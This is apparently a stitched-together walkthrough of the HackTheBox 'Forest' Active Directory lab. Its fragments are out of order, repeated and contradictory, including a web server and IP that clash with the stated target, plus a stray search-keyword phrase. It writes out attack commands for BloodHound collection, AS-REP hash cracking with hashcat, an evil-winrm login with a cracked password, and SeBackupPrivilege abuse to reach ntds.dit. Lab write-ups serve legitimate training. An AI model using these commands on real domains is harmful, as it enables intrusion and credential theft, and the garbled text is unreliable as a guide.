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While exploring the file system through the directory traversal vulnerability, a potential credential is discovered:

Before the DiskShadow attack, you should visually understand the AD graph. Run SharpHound on target:

upload SharpHound.exe
./SharpHound.exe -c All
download 20241110123456_BloodHound.zip

Import into BloodHound (Neo4j running). Mark svc-alfresco as owned.
BloodHound will show "SeBackupPrivilege" as a direct path to Domain Admin. This confirms our manual steps.

The machine starts with a deceptively quiet footprint. A standard Nmap scan reveals the usual Windows suspects: SMB (445), LDAP (389/636), and RPC (135). forest hackthebox walkthrough best

What makes the enumeration phase of Forest stand out is the reliance on Null Session Enumeration. In the "best" walkthroughs, this is the critical pivot point. Without a web server to scan, users are forced to interact with the Domain Controller directly.

Visiting http://10.10.10.74:8080 reveals a web application that appears to be a simple file manager. Further exploration leads to the discovery of a robots.txt file and a potential directory traversal vulnerability.

Difficulty: Medium | OS: Windows | Focus: Active Directory, AS-REP Roasting, DCSync While exploring the file system through the directory

Check privileges:

whoami /priv

SeBackupPrivilege and SeRestorePrivilege → can copy any file (including ntds.dit).

Save the hash and crack it with hashcat (mode 18200 for AS-REP hashes). Import into BloodHound (Neo4j running)

hashcat -m 18200 asreproast.hashes /usr/share/wordlists/rockyou.txt --force

Result: s3rvice (password for svc-alfresco)

Since port 5985 is open, use evil-winrm:

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

We are now in a limited shell. Navigate to the desktop:

cd C:\Users\svc-alfresco\Desktop
type user.txt

User flag obtained.